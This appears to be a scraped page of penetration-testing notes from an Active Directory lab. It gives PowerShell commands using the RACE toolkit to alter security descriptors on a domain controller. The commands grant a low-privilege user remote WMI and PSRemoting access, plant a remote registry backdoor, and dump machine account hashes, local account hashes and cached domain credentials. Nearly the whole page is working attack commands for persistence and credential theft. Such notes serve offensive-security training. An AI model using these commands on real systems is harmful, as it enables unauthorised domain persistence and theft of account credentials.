Security Descriptors
Format
Exploitation
WMI - GUI



WMI - PowerShell
Remote Registry
Last updated



Last updated
# Check if worked
# Worked if didn't get access denied
gwmi -class win32_operatingsystem -ComputerName <dc_machine># Loading the module
. C:\AD\Tools\RACE-master\RACE.ps1
Set-RemoteWMI -SamAccountName student1 -ComputerName dcorp-dc -namespace 'root\cimv2' -Verbose
# with explicit credentials
Set-RemoteWMI -SamAccountName student1 -ComputerName dcorp-dc -Credential Administrator -namespace 'root\cimv2' -Verbose
# Remove
Set-RemoteWMI -SamAccountName student1 -ComputerName dcorp-dc-namespace 'root\cimv2' -Remove -Verbose
Set-RemotePSRemoting -SamAccountName student1 -ComputerName dcorp-dc -Verbose
# Remove
Set-RemotePSRemoting -SamAccountName student1 -ComputerName dcorp-dc -Remove# Modify ACE with admin privs
Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose
# retrieve machine hash
Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose
# retrieve local account hash
Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose
# retrieve domain cached credentials
Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose